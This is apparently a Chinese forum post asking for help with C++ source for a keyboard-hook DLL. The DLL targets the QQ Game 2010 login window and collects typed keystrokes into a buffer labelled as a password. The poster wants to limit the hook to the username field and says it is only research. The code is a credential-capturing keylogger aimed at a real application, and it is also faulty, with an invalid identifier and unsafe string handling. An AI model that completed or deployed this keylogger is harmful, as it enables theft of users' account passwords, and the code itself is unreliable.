#include "stdafx.h"
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam,LPARAM lParam);
char password[29];
void ok(char ii);
#pragma data_seg("Shared")
static HHOOK hkb=NULL;
HMODULE hins=NULL;
#pragma data_seg()
HMODULE WINAPI ModuleFromAddress(PVOID pv)
{
MEMORY_BASIC_INFORMATION mbi;
if(::VirtualQuery(pv, &mbi, sizeof(mbi)) != 0)
{
return (HMODULE)mbi.AllocationBase;
}
else
{
return NULL;
}
}
extern "C" _declspec(dllexport)BOOL installhook()
{HWND hDesktop = FindWindowEx(NULL,NULL, NULL ,TEXT("QQ游戏2010"));
HWND TY=GetWindow(hDesktop,GW_CHILD);
DWORD dwThreadId = GetWindowThreadProcessId(TY, NULL) ; //qq游戏输入用户名的子窗口。。
DWORD 1dwThreadId = GetWindowThreadProcessId(hDesktop, NULL) ; //QQ游戏总窗口·也是父窗口。
hkb = ::SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,ModuleFromAddress(KeyboardProc),dwThreadId);//在这里 我发现不管是传dwThreadId,或1dwThreadId,截获的消息却都是属于hDesktop,也就是1dwThreadId。
if (hkb == NULL)
{
return FALSE;
}
else
{
return TRUE;
}
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode < 0 || nCode == HC_NOREMOVE)
return ::CallNextHookEx(hkb, nCode, wParam, lParam);
if(lParam & 0x40000000)
{
return ::CallNextHookEx(hkb, nCode, wParam, lParam);
}
BYTE bKeyState[256];
unsigned short uAscii;
GetKeyboardState(bKeyState);
ToAscii(wParam,0,bKeyState, &uAscii,0);
char ty,password[30]=TEXT("密码:");
ty=(char)uAscii;
ok(ty);
return ::CallNextHookEx(hkb,nCode,wParam,lParam);
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
}
void ok(char ii)
{
strcat(password,&ii);
MessageBox(NULL,password,password,0);
}
HWND hDesktop = FindWindowEx(NULL,NULL, NULL ,TEXT("QQ游戏2010"));
HWND TY=GetWindow(hDesktop,GW_CHILD);
DWORD dwThreadId = GetWindowThreadProcessId(TY, NULL) ; //qq游戏输入用户名的子窗口。。
DWORD 1dwThreadId = GetWindowThreadProcessId(hDesktop, NULL) ; //QQ游戏总窗口·也是父窗口。
hkb = ::SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,ModuleFromAddress(KeyboardProc),dwThreadId);//在这里
//我发现不管是传dwThreadId,或1dwThreadId,截获的消息却都是属于hDesktop,也就是1dwThreadId。请问高手如何得到子窗口也就是TY,1dwThreadId,假设我想截获子窗口的消息,而不是所有属于父窗口下所有子窗口的消息怎么做????
//请指教??????本人属于研究并不是为了盗号·请高手帮我解决一下子·本菜鸟·很苦恼!!!
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课